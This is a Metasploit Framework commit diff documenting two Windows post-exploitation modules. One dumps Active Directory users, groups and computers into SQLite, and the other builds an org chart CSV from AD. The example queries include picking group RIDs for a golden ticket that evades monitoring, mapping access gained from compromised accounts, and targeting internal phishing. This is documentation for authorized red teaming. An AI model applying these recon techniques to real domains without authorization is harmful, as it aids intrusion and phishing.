Merge branch 'master' of github.com:rapid7/metasploit-framework into bug/MS-247/OpenVas-default-workspace

bug/bundler_fix
Brian Patterson 2016-04-12 16:57:41 -05:00
commit 6105822268
27 changed files with 2257 additions and 621 deletions

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.11.20)
metasploit-framework (4.11.21)
actionpack (>= 4.0.9, < 4.1.0)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)

View File

@ -0,0 +1,521 @@
This is a post exploitation module which has the effect of copying the AD groups, user membership
(taking into account nested groups), user information and computers to a local SQLite database.
This is particularly useful for red teaming and simulated attack engagements because it offers
the ability to gain situational awareness of the target's domain completely offline. Examples of
queries that can be run locally include:
* Identification of members in a particular group (e.g. 'Domain Admins'), taking into account
members of nested groups.
* Organizational hierarchy information (if the manager LDAP attribute is used).
* Ability to determine group membership and user membership (e.g. 'What groups are these users a
member of?', 'What users are members of these groups?', 'List all members who are effectively
members of the Domain Admins group who are not disabled' etc)
* Expansion of the userAccountControl and sAMAccountType variables for querying ease.
* Generation of a list of DNS hostnames, computer names, operating system versions etc of each
domain joined computer.
* Identification of security groups that have managers.
* Exporting anything above in different formats, including those which can be imported into
other tools.
## Mechanism
This module makes heavy usage of ADSI and performs the following basic steps:
**User and group acquisition**
* Perform an ADSI query to list all active directory groups and store them in the local ad_groups
table (parsing attributes which contain flags).
* Loop through them and, for each group, launch another LDAP query to list the effective members of
the group (using the LDAP_MATCHING_RULE_IN_CHAIN OID). The effect is that it will reveal all
effective members of that group, even if they are not direct members of the group.
* For each user, perform another query to obtain user specific attributes and insert them into the
local ad_users table.
* Insert a new row into the ad_mapping table associating the user RID with the group RID.
**Computer acquisition**
* Perform an ADSI query to list all computers in the domain.
* Parse any attributes containing flags (userAccountControl, sAMAccountType) and insert them into
the local ad_computers table.
## Module Specific Options
Option | Purpose
--------------- | --------
GROUP_FILTER | Additional LDAP filters to apply when building the initial list of groups.
SHOW_COMPUTERS | If set to TRUE, this will write a line-by-line list of computers, in the format: ```Computer [Name][DNS][RID]``` to the console. For example: ```Computer [W2K8DC][W2K8DC.goat.stu][1000]```
SHOW_USERGROUPS | If set to TRUE, this will write a line-by-line list of user to group memberships, in the format: ```Group [Group Name][Group RID] has member [Username][User RID]```. For example: ```Group [Domain Users][513] has member [it.director][1132]```. This can be used mainly for progress, but it may be simpler to cat and grep for basic queries. However, the real power of this module comes from the ability to rapidly perform queries against the SQLite database.
## SQLite Database
**Construction**
The following tables will be present in the local SQLite database. The ad_* tables use the RID of
the user, computer or group as the primary key, and the view_mapping table effectively joins the
ad_mapping table with ad_users.* and ad_groups.* by RID.
Note that the purpose of the less obvious flags is documented in the source code, along with
references to MSDN and Technet where appropriate, so this can be easily looked up during an
engagement without needing to refer to this page.
Table Name | Purpose
------------ | --------
ad_computers | Information on each of the domain joined computers.
ad_users | Information on each of the domain users.
ad_groups | Information on each of the active directory groups.
ad_mapping | Links the users table to the groups table (i.e. can be used to show which users are effectively members of which groups).
view_mapping | Joins the ad_mapping table to the ad_users and ad_groups table, provided for convenience. This will be the table that most queries will be run against.
Within each table, the naming convention for the columns is to prefix anything in the
ad_computers table with c_, anything in the ad_users table with u_ and anything in the
ad_groups table with g_. This convention makes the joins between tables much more intuitive.
**ad_computers**
The table below shows the columns in the ad_computers table. The fields in capitals at the end
(c_ADS_* and c_SAM_*) are expanded from the userAccountControl and sAMAccountType attributes to
provide an easy way to perform the queries against individual flags.
Column Name | Type | Purpose
------------------------------------------------ | ------- | --------
c_rid | INTEGER | The relative identifier which is derived from the objectSid (i.e. the last group of digits).
c_distinguishedName | TEXT | The main 'fully qualified' reference to the object. See [Distinguished Names](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366101%28v=vs.85%29.aspx).
c_cn | TEXT | The name that represents an object. Used to perform searches.
c_sAMAccountType | INTEGER | This attribute contains information about every account type object. As this can only have one value, it would be more efficient to implement a lookup table for this, but I have included individual flags simply for consistency.
c_sAMAccountName | TEXT | The logon name used to support clients and servers running earlier versions of the operating system.
c_dNSHostName | TEXT | The name of computer, as registered in DNS.
c_displayName | TEXT | The display name for an object. This is usually the combination of the users first name, middle initial, and last name.
c_logonCount | INTEGER | The number of times the account has successfully logged on. A value of 0 indicates that the value is unknown.
c_userAccountControl | INTEGER | Flags that control the behavior of the user account. See [Use-Account-Control attribute](https://msdn.microsoft.com/en-us/library/windows/desktop/ms680832%28v=vs.85%29.aspx) for a description, but they are also parsed and stored in the c_ADS_UF_* columns below.
c_primaryGroupID | INTEGER | Contains the relative identifier (RID) for the primary group of the user. By default, this is the RID for the Domain Users group.
c_badPwdCount | INTEGER | The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.
c_description | TEXT | Contains the description to display for an object.
c_comment | TEXT | The user's comment. This string can be a null string. Sometimes passwords or sensitive information can be stored here.
c_operatingSystem | TEXT | The Operating System name, for example, Windows Vista Enterprise.
c_operatingSystemServicePack | TEXT | The operating system service pack ID string (for example, SP3).
c_operatingSystemVersion | TEXT | The operating system version string, for example, 4.0.
c_whenChanged | TEXT | The date when this object was last changed. This value is not replicated and exists in the global catalog.
c_whenCreated | TEXT | The date when this object was created. This value is replicated and is in the global catalog.
c_ADS_UF_SCRIPT | INTEGER | If 1, the logon script is executed.
c_ADS_UF_ACCOUNTDISABLE | INTEGER | If 1, the user account is disabled.
c_ADS_UF_HOMEDIR_REQUIRED | INTEGER | If 1, the home directory is required.
c_ADS_UF_LOCKOUT | INTEGER | If 1, the account is currently locked out.
c_ADS_UF_PASSWD_NOTREQD | INTEGER | If 1, no password is required.
c_ADS_UF_PASSWD_CANT_CHANGE | INTEGER | If 1, the user cannot change the password.
c_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED | INTEGER | If 1, the user can send an encrypted password.
c_ADS_UF_TEMP_DUPLICATE_ACCOUNT | INTEGER | If 1, this is an account for users whose primary account is in another domain. This account provides user access to this domain, but not to any domain that trusts this domain. Also known as a local user account.
c_ADS_UF_NORMAL_ACCOUNT | INTEGER | If 1, this is a default account type that represents a typical user.
c_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT | INTEGER | If 1, this is a permit to trust account for a system domain that trusts other domains.
c_ADS_UF_WORKSTATION_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a computer that is a member of this domain.
c_ADS_UF_SERVER_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a system backup domain controller that is a member of this domain.
c_ADS_UF_DONT_EXPIRE_PASSWD | INTEGER | If 1, the password for this account will never expire.
c_ADS_UF_MNS_LOGON_ACCOUNT | INTEGER | If 1, this is an MNS logon account.
c_ADS_UF_SMARTCARD_REQUIRED | INTEGER | If 1, the user must log on using a smart card.
c_ADS_UF_TRUSTED_FOR_DELEGATION | INTEGER | If 1, the service account (user or computer account), under which a service runs, is trusted for Kerberos delegation. Any such service can impersonate a client requesting the service.
c_ADS_UF_NOT_DELEGATED | INTEGER | If 1, the security context of the user will not be delegated to a service even if the service account is set as trusted for Kerberos delegation.
c_ADS_UF_USE_DES_KEY_ONLY | INTEGER | If 1, restrict this principal to use only Data Encryption Standard (DES) encryption types for keys.
c_ADS_UF_DONT_REQUIRE_PREAUTH | INTEGER | If 1, this account does not require Kerberos pre-authentication for logon.
c_ADS_UF_PASSWORD_EXPIRED | INTEGER | If 1, the user password has expired. This flag is created by the system using data from the Pwd-Last-Set attribute and the domain policy.
c_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION | INTEGER | If 1, the account is enabled for delegation. This is a security-sensitive setting; accounts with this option enabled should be strictly controlled. This setting enables a service running under the account to assume a client identity and authenticate as that user to other remote servers on the network.
c_SAM_DOMAIN_OBJECT | INTEGER | See [SAM-Account-Type](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637%28v=vs.85%29.aspx) attribute. If 1, this flag is set.
c_SAM_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_NON_SECURITY_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_NON_SECURITY_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_USER_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_NORMAL_USER_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_MACHINE_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_TRUST_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_APP_BASIC_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_APP_QUERY_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_ACCOUNT_TYPE_MAX | INTEGER | If 1, this flag is set (sAMAccountType attribute).
**ad_users**
The table below shows the columns in the ad_computers table. The fields in capitals at the end
(c_ADS_* and c_SAM_*) are expanded from the userAccountControl and sAMAccountType attributes to
provide an easy way to perform the queries against individual flags.
Column Name | Type | Purpose
------------------------------------------------| ------- | -------
u_rid | INTEGER | The relative identifier which is derived from the objectSid (i.e. the last group of digits).
u_distinguishedName | TEXT | The main 'fully qualified' reference to the object. See [Distinguished Names](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366101%28v=vs.85%29.aspx).
u_cn | TEXT | The name that represents an object. Used to perform searches.
u_sAMAccountType | INTEGER | This attribute contains information about every account type object. As this can only have one value, it would be more efficient to implement a lookup table for this, but I have included individual flags simply for consistency.
u_sAMAccountName | TEXT | The logon name used to support clients and servers running earlier versions of the operating system.
u_dNSHostName | TEXT | The name of computer, as registered in DNS.
u_displayName | TEXT | The display name for an object. This is usually the combination of the users first name, middle initial, and last name.
u_logonCount | INTEGER | The number of times the account has successfully logged on. A value of 0 indicates that the value is unknown.
u_userPrincipalName | TEXT | Technically, this is an Internet-style login name for a user based on the Internet standard RFC 822. By convention and in practice, it is the user's e-mail address.
u_displayName | TEXT | N/A
u_adminCount | INTEGER | Indicates that a given object has had its ACLs changed to a more secure value by the system because it was a member of one of the administrative groups (directly or transitively).
u_userAccountControl | INTEGER | Flags that control the behavior of the user account. See [User-Account-Control](https://msdn.microsoft.com/en-us/library/windows/desktop/ms680832%28v=vs.85%29.aspx) for a description, but they are also parsed and stored in the c_ADS_UF_* columns below.
u_primaryGroupID | INTEGER | Contains the relative identifier (RID) for the primary group of the user. By default, this is the RID for the Domain Users group.
u_badPwdCount | INTEGER | The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.
u_description | TEXT | Contains the description to display for an object.
u_title | TEXT | Contains the user's job title. This property is commonly used to indicate the formal job title, such as Senior Programmer, rather than occupational class.
u_manager | TEXT | The distinguished name of this user's manager.
u_comment | TEXT | The user's comment. This string can be a null string. Sometimes passwords or sensitive information can be stored here.
u_whenChanged | TEXT | The date when this object was last changed. This value is not replicated and exists in the global catalog.
u_whenCreated | TEXT | The date when this object was created. This value is replicated and is in the global catalog.
u_ADS_UF_SCRIPT | INTEGER | If 1, the logon script is executed.
u_ADS_UF_ACCOUNTDISABLE | INTEGER | If 1, the user account is disabled.
u_ADS_UF_HOMEDIR_REQUIRED | INTEGER | If 1, the home directory is required.
u_ADS_UF_LOCKOUT | INTEGER | If 1, the account is currently locked out.
u_ADS_UF_PASSWD_NOTREQD | INTEGER | If 1, no password is required.
u_ADS_UF_PASSWD_CANT_CHANGE | INTEGER | If 1, the user cannot change the password.
u_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED | INTEGER | If 1, the user can send an encrypted password.
u_ADS_UF_TEMP_DUPLICATE_ACCOUNT | INTEGER | If 1, this is an account for users whose primary account is in another domain. This account provides user access to this domain, but not to any domain that trusts this domain. Also known as a local user account.
u_ADS_UF_NORMAL_ACCOUNT | INTEGER | If 1, this is a default account type that represents a typical user.
u_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT | INTEGER | If 1, this is a permit to trust account for a system domain that trusts other domains.
u_ADS_UF_WORKSTATION_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a computer that is a member of this domain.
u_ADS_UF_SERVER_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a system backup domain controller that is a member of this domain.
u_ADS_UF_DONT_EXPIRE_PASSWD | INTEGER | If 1, the password for this account will never expire.
u_ADS_UF_MNS_LOGON_ACCOUNT | INTEGER | If 1, this is an MNS logon account.
u_ADS_UF_SMARTCARD_REQUIRED | INTEGER | If 1, the user must log on using a smart card.
u_ADS_UF_TRUSTED_FOR_DELEGATION | INTEGER | If 1, the service account (user or computer account), under which a service runs, is trusted for Kerberos delegation. Any such service can impersonate a client requesting the service.
u_ADS_UF_NOT_DELEGATED | INTEGER | If 1, the security context of the user will not be delegated to a service even if the service account is set as trusted for Kerberos delegation.
u_ADS_UF_USE_DES_KEY_ONLY | INTEGER | If 1, restrict this principal to use only Data Encryption Standard (DES) encryption types for keys.
u_ADS_UF_DONT_REQUIRE_PREAUTH | INTEGER | If 1, this account does not require Kerberos pre-authentication for logon.
u_ADS_UF_PASSWORD_EXPIRED | INTEGER | If 1, the user password has expired. This flag is created by the system using data from the Pwd-Last-Set attribute and the domain policy.
u_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION | INTEGER | If 1, the account is enabled for delegation. This is a security-sensitive setting; accounts with this option enabled should be strictly controlled. This setting enables a service running under the account to assume a client identity and authenticate as that user to other remote servers on the network.
u_SAM_DOMAIN_OBJECT | INTEGER | See [SAM-Account-Type](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637%28v=vs.85%29.aspx). If 1, this flag is set.
u_SAM_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_NON_SECURITY_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_NON_SECURITY_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_USER_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_NORMAL_USER_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_MACHINE_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_TRUST_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_APP_BASIC_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_APP_QUERY_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_ACCOUNT_TYPE_MAX | INTEGER | If 1, this flag is set (sAMAccountType attribute).
**ad_groups**
The table below shows the columns in the ad_groups table.
Column Name | Type | Purpose
--------------------------------| ------- | -------
g_rid | INTEGER | The relative identifier which is derived from the objectSid (i.e. the last group of digits).
g_distinguishedName | TEXT | The main 'fully qualified' reference to the object. See [Distinguished Names](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366101%28v=vs.85%29.aspx).
g_sAMAccountType | INTEGER | This attribute contains information about every account type object. As this can only have one value, it would be more efficient to implement a lookup table for this, but I have included individual flags simply for consistency.
g_sAMAccountName | TEXT | The logon name used to support clients and servers running earlier versions of the operating system.
g_adminCount | INTEGER | Indicates that a given object has had its ACLs changed to a more secure value by the system because it was a member of one of the administrative groups (directly or transitively).
g_description | TEXT | Contains the description to display for an object.
g_comment | TEXT | The user's comment. This string can be a null string. Sometimes passwords or sensitive information can be stored here.
g_whenChanged | TEXT | The date when this object was last changed. This value is not replicated and exists in the global catalog.
g_whenCreated | TEXT | The date when this object was created. This value is replicated and is in the global catalog.
g_managedby | TEXT | The manager of this group.
g_cn | TEXT | The common name of the group.
g_groupType | INTEGER | Contains a set of flags that define the type and scope of a group object. These are expanded in the g_GT_* fields below.
g_GT_GROUP_CREATED_BY_SYSTEM | INTEGER | If 1, this is a group that is created by the system.
g_GT_GROUP_SCOPE_GLOBAL | INTEGER | If 1, this is a group with global scope.
g_GT_GROUP_SCOPE_LOCAL | INTEGER | If 1, this is a group with domain local scope.
g_GT_GROUP_SCOPE_UNIVERSAL | INTEGER | If 1, this is a group with universal scope.
g_GT_GROUP_SAM_APP_BASIC | INTEGER | If 1, this specifies an APP_BASIC group for Windows Server Authorisation Manager.
g_GT_GROUP_SAM_APP_QUERY | INTEGER | If 1, this specifies an APP_QUERY group for Windows Server Authorisation Manager.
g_GT_GROUP_SECURITY | INTEGER | If 1, this specifies a security group.
g_GT_GROUP_DISTRIBUTION | INTEGER | If 1, this specifies a distribution group (this is the inverse of g_GT_GROUP_SECURITY). I have included it so that distribution groups can be identified more easily (query readability).
g_SAM_DOMAIN_OBJECT | INTEGER | See [SAM-Account-Type](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637%28v=vs.85%29.aspx). If 1, this flag is set.
g_SAM_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_NON_SECURITY_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_NON_SECURITY_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_USER_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_NORMAL_USER_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_MACHINE_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_TRUST_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_APP_BASIC_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_APP_QUERY_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_ACCOUNT_TYPE_MAX | INTEGER | If 1, this flag is set (sAMAccountType attribute).
**ad_mapping**
The table below shows the columns in the ad_mapping table. This is used to link users to groups.
Column Name | Type | Purpose
------------| ------- | -------
user_rid | INTEGER | The RID of a user
group_rid | INTEGER | The RID of a group
For example, if a particular record had a user_rid of 1000 and a group_rid of 1001, this would
imply that the user whose RID is 1000 is a member of the group whose RID is 1001. Use the
view_mapping view in order to do any meaningful queries, but its content is derived from this one.
**view_mapping**
This table is a combination of ad_groups.* and ad_users.*. Therefore, the fields are the
combination of the u_* and the g_* fields shown above.
## Database Structure
There are a few design choices that I have deliberately made which I have given an explanation for
below. This is because the reasons for them may not be obvious.
The users, groups and computers are based on the same class, so the "proper" way to do this would
be to place them all into one table and then restrict results based on sAMAccountType to determine
what type of object it is. In addition, the userAccountControl and sAMAccountType and groupType
attributes have been split out into individual columns which is, from a technical point of view,
unnecessary duplication.
The reason for this is ease of use; we are much more intuitively familiar with users, groups and
computers being different objects (even if they are all really the same thing), and it is much
easier to understand and formulate a query such as:
```
SELECT u_sAMAccountName from ad_users where u_ADS_UF_LOCKOUT = 0 and u_SAM_NORMAL_USER_ACCOUNT = 1
```
than:
```
SELECT u_sAMAccountName from ad_users where ((u_userAccountControl&0x00000010) = 0) and ((u_sAMAccountType&0x30000000) > 0)
```
This is also true of the sAMAccountType value; this is a code which has a 1:1 mapping with MSDN
constants (i.e. they are not flags) and it would be more efficient to implement a simple lookup table.
However, for consistency, I have implemented the columns for the possible values in the same way as
the attributes which comprise multiple values in the form of flags.
This database is designed for quick-and-dirty queries, not to be an efficient AD database, and the
benefits of the ease of access significantly outweighs the slight performance impact.
## Conversion to Unicode
All of the strings injected into the database have been converted to UTF-8 (encode('UTF-8')) which,
at first glance, does not seem necessary. The reason is documented [here](https://github.com/rails/rails/issues/1965);
namely that SQLite stores Unicode strings as 'text' but non-converted strings as 'blobs' regardless
of the type affinity. Omitting the unicode conversion meant that most of the text queries did not
work properly because the database was treating the text fields as raw binary data.
## Multi valued attributes
With the exception of the memberOf attribute, it is assumed that other attributes are single
valued, which may result in a small about of information being missed. For example, the
description attribute can (in some circumstances) be multi-valued but the ADSI queries will only
return the first value.
This will not make any practical difference for the vast majority of enterprise domains.
## Database Queries
Sqlite3 supports a number of output formats (use .mode for all options). These can be used to
easily present the searched data.
For example, line mode is useful to see all fields in an easy to view form. The example query
searches for all information about the user whose username is 'unprivileged.user'
```
sqlite> .mode line
sqlite> select * from ad_users where u_sAMAccountName = "unprivileged.user";
u_rid = 1127
u_distinguishedName = CN=Unprivileged User,CN=Users,DC=goat,DC=stu
u_description = Do not delete. Default pass set to password123
u_displayName = Unprivileged User
u_sAMAccountType = 805306368
u_sAMAccountName = unprivileged.user
u_logonCount = 1
u_userAccountControl = 512
u_primaryGroupID = 513
u_cn = Unprivileged User
u_adminCount = 1
u_badPwdCount = 0
u_userPrincipalName = unprivileged.user@goat.stu
u_comment =
u_title =
u_manager = CN=Stuart Morgan - User,CN=Users,DC=goat,DC=stu
u_whenCreated = 2015-12-20 20:10:54.000
u_whenChanged = 2015-12-20 23:12:48.000
u_ADS_UF_SCRIPT = 0
u_ADS_UF_ACCOUNTDISABLE = 0
u_ADS_UF_HOMEDIR_REQUIRED = 0
u_ADS_UF_LOCKOUT = 0
u_ADS_UF_PASSWD_NOTREQD = 0
u_ADS_UF_PASSWD_CANT_CHANGE = 0
u_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0
u_ADS_UF_TEMP_DUPLICATE_ACCOUNT = 0
u_ADS_UF_NORMAL_ACCOUNT = 1
u_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT = 0
u_ADS_UF_WORKSTATION_TRUST_ACCOUNT = 0
u_ADS_UF_SERVER_TRUST_ACCOUNT = 0
u_ADS_UF_DONT_EXPIRE_PASSWD = 0
u_ADS_UF_MNS_LOGON_ACCOUNT = 0
u_ADS_UF_SMARTCARD_REQUIRED = 0
u_ADS_UF_TRUSTED_FOR_DELEGATION = 0
u_ADS_UF_NOT_DELEGATED = 0
u_ADS_UF_USE_DES_KEY_ONLY = 0
u_ADS_UF_DONT_REQUIRE_PREAUTH = 0
u_ADS_UF_PASSWORD_EXPIRED = 0
u_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0
u_SAM_DOMAIN_OBJECT = 0
u_SAM_GROUP_OBJECT = 0
u_SAM_NON_SECURITY_GROUP_OBJECT = 0
u_SAM_ALIAS_OBJECT = 0
u_SAM_NON_SECURITY_ALIAS_OBJECT = 0
u_SAM_NORMAL_USER_ACCOUNT = 1
u_SAM_MACHINE_ACCOUNT = 0
u_SAM_TRUST_ACCOUNT = 0
u_SAM_APP_BASIC_GROUP = 0
u_SAM_APP_QUERY_GROUP = 0
u_SAM_ACCOUNT_TYPE_MAX = 0
```
SQLite can generate output in HTML format with headers. For example, the query below displays the
username, email address and number of times that the user has logged on for all users who have a
manager with the word 'Stuart' somewhere in the DN.
```
sqlite> .mode html
sqlite> .headers on
sqlite> select u_sAMAccountName,u_userPrincipalName,u_logonCount from ad_users where u_manager LIKE '%Stuart%';
<TR><TH>u_sAMAccountName</TH>
<TH>u_userPrincipalName</TH>
<TH>u_logonCount</TH>
</TR>
<TR><TD>unprivileged.user</TD>
<TD>unprivileged.user@goat.stu</TD>
<TD>1</TD>
</TR>
sqlite>
```
The same query can be used in INSERT mode, in which the results will be displayed as a series of
SQL insert statements for importing into another database:
```
sqlite> .mode insert
sqlite> select u_sAMAccountName,u_userPrincipalName,u_logonCount from ad_users where u_manager LIKE '%Stuart%';
INSERT INTO table(u_sAMAccountName,u_userPrincipalName,u_logonCount) VALUES('unprivileged.user','unprivileged.user@goat.stu',1);
```
The default mode (list) will display the results with a pipe character separating the fields:
```
sqlite> .mode list
sqlite> select u_sAMAccountName,u_userPrincipalName,u_logonCount from ad_users where u_manager LIKE '%Stuart%';
u_sAMAccountName u_userPrincipalName u_logonCount
unprivileged.user unprivileged.user@goat.stu 1
```
There are a number of other ways that this information could be presented; please play with SQLite
in order to learn how to use them.
## Example Queries
A number of example queries are shown below, in order to give an idea of how easy it is to build up
complex queries.
Search for all users who have a title, description or comment and display this information along
with their username:
```
select u_sAMAccountName,u_title,u_description,u_comment from ad_users where (u_title != "" or u_description != "" or u_comment != "");
```
Display all stored fields for all users whose accounts are not disabled, have a password that does
not expire, have a name starting with 'Frank' and have logged on more than once.
```
select * from ad_users where u_ADS_UF_ACCOUNTDISABLE=0 and u_ADS_UF_DONT_EXPIRE_PASSWD=1 and u_cn LIKE 'Frank%' and u_logonCount>1;
```
Get the list of group RIDs that have a name which do not have the word 'admin' in them somewhere
(perhaps useful to construct a golden ticket with access to pretty much all groups except anything
with 'admin' in it), might be useful to evade a very basic form of monitoring perhaps?
```
select DISTINCT g_rid from ad_groups where g_sAMAccountName NOT LIKE '%admin%';
```
Search for all users who are members of the 'Domain Admins' group and display their username.
Note that this will include those in nested groups.
```
select u_sAMAccountName from view_mapping where g_sAMAccountName = 'Domain Admins';
```
Show the groups that the user 'stufus' is a member of and write the output to /tmp/groups.txt
(e.g. for usage in a different tool):
```
.once /tmp/groups.txt
select g_sAMAccountName from view_mapping where u_sAMAccountName = 'stufus';
```
Imagine you have compromised passwords or accounts for user1, user2, user3 and user4. Show the AD
groups which, between them all, you have access to.
```
select DISTINCT g_sAMAccountName from view_mapping where u_sAMAccountName IN ('user1','user2','user3','user4');
```
Retrieve the list of group names common to both 'user1' and 'user2' and display the group RID,
group name and group description. This could be useful if you were aware that both these users
are in a group that has access to a very specific resource but are in a large number of separate
other groups.
```
select v1.g_rid,v1.g_sAMAccountName,v1.g_description FROM view_mapping v1 INNER JOIN view_mapping v2 ON v1.g_rid = v2.g_rid where v1.u_sAMAccountName = 'user1' and v2.u_sAMAccountName = 'user2';
```
Show the name, DNS hostname and OS information for each of the computers in the domain:
```
select c_cn,c_dNSHostName,c_operatingSystem,c_operatingSystemVersion,c_operatingSystemServicePack from ad_computers;
```
Display the same columns as above but only show machines in the 'Domain Controllers' OU (you can't
normally search by DN because it isn't a "real" attribute when querying through LDAP, but as it is
a normal text field in the database, you can use regular expressions and normal string matching):
```
select c_cn,c_dNSHostName,c_operatingSystem,c_operatingSystemVersion,c_operatingSystemServicePack from ad_computers where c_distinguishedName LIKE '%OU=Domain Controllers%';
```
Show all fields for computers that have the c_ADS_UF_WORKSTATION_TRUST_ACCOUNT set to 1 (which
seems to be everything except domain controllers) on my test system:
```
select * from ad_computers where c_ADS_UF_WORKSTATION_TRUST_ACCOUNT = 1;
```
Show all fields for computers whose operating system is Windows XP, Windows 2000 or Windows 2003
(note that you need regular expression support in SQLite):
```
select * from ad_computers where c_operatingSystem REGEXP '(XP|200[03])';
```
...and if you don't have regular expression support:
```
select * from ad_computers where c_operatingSystem LIKE '%XP%' OR c_operatingSystem LIKE '%2000%' OR c_operatingSystem LIKE '%2003%';
```
Search for all members of all groups who are (amongst other things) members of any group managed
by anyone whose CN starts with 'Unprivileged User' and return their username only:
```
select DISTINCT u_sAMAccountName from view_mapping where g_rid IN (select g_rid from view_mapping where g_managedBy LIKE 'CN=Unprivileged User%');
```
## Scenarios
**Group Policy Objects**
This cannot be used to gain a complete understanding of effective permissions because it does not
analyze group policy objects. For example, a group policy may add inconspicuous groups to
privileged groups and privileged groups, such as Domain Admins, may be removed from local
administrator groups due to GPP. Therefore, this will give a reliable overview of the effective
'static' permissions but cannot be completely relied on for overall effective permissions.
**Domain Controller interaction**
The acquisition of domain information does involve repeated queries against the domain controllers.
However, all interaction with AD uses native functionality and has not been noted to cause
performance problems when tested. This was recently tested on a live engagement on a domain that
has just under 11,000 groups and a similar number of users. Admittedly it took about an hour to
pull down everything (as opposed to the 1 minute to replicate the LDAP database) but the final
database size was 19,255,296 bytes, so perfectly manageable.

View File

@ -0,0 +1,85 @@
This module can be used to aid the generation of an organizational chart based on information
contained in Active Directory. The module itself uses ADSI to retrieve key information from AD
(manager, title, description etc) fields and then present it in a CSV file in the form:
```
cn,description,title,phone,department,division,e-mail,company,reports_to
```
The reports_to field is the only one which is generated; everything else is taken directly from AD.
The 'manager' field contains the DN of the manager assigned to that user, and this module simply
uses a regular expression to obtain the CN field of the manager.
This can then be imported into tools like [Microsoft Visio](https://products.office.com/en-us/visio/flowchart-software)
(using the organizational chart wizard) and it will construct a visual org chart from the
information there. Although visio supports the ability to generate Org charts if it is on a domain
joined machine, but there does not seem to be a way of doing this remotely (e.g. during a
red teaming exercise).
This should not be confused with security groups and AD managed groups; this is purely an
internal organizational hierarchy representation but could be very useful for situational awareness
or in order to construct a more plausible or targeted internal phishing exercise.
# Options
Option | Value
-------------------| ---
ACTIVE_USERS_ONLY | This will restrict the search for users to those whose accounts are Active. This would have the effect of excluding disabled accounts (e.g. employees who have resigned).
FILTER | Any additional LDAP filtering that is required when searching for users.
WITH_MANAGERS_ONLY | If this is TRUE, the module will only include users who have a manger set (internally, this is implemented by adding (manager=*) to the ADSI query filter). This could be useful if not everyone has a manager set, but could mean that the top executive is not included either.
STORE_LOOT | Store the results in a CSV file in loot. You'll almost certainly want this set to TRUE.
# Demo
For the purposes of this contrived example, the module has been configured to generate the CSV
reporting information for everyone with 'IT' somewhere in their common name.
```
msf post(make_csv_orgchart) > show options
Module options (post/windows/gather/make_csv_orgchart):
Name Current Setting Required Description
---- --------------- -------- -----------
ACTIVE_USERS_ONLY true yes Only include active users (i.e. not disabled ones)
DOMAIN no The domain to query or distinguished name (e.g. DC=test,DC=com)
FILTER cn=*IT* no Additional LDAP filter to use when searching for users
MAX_SEARCH 500 yes Maximum values to retrieve, 0 for all.
SESSION 2 yes The session to run this module on.
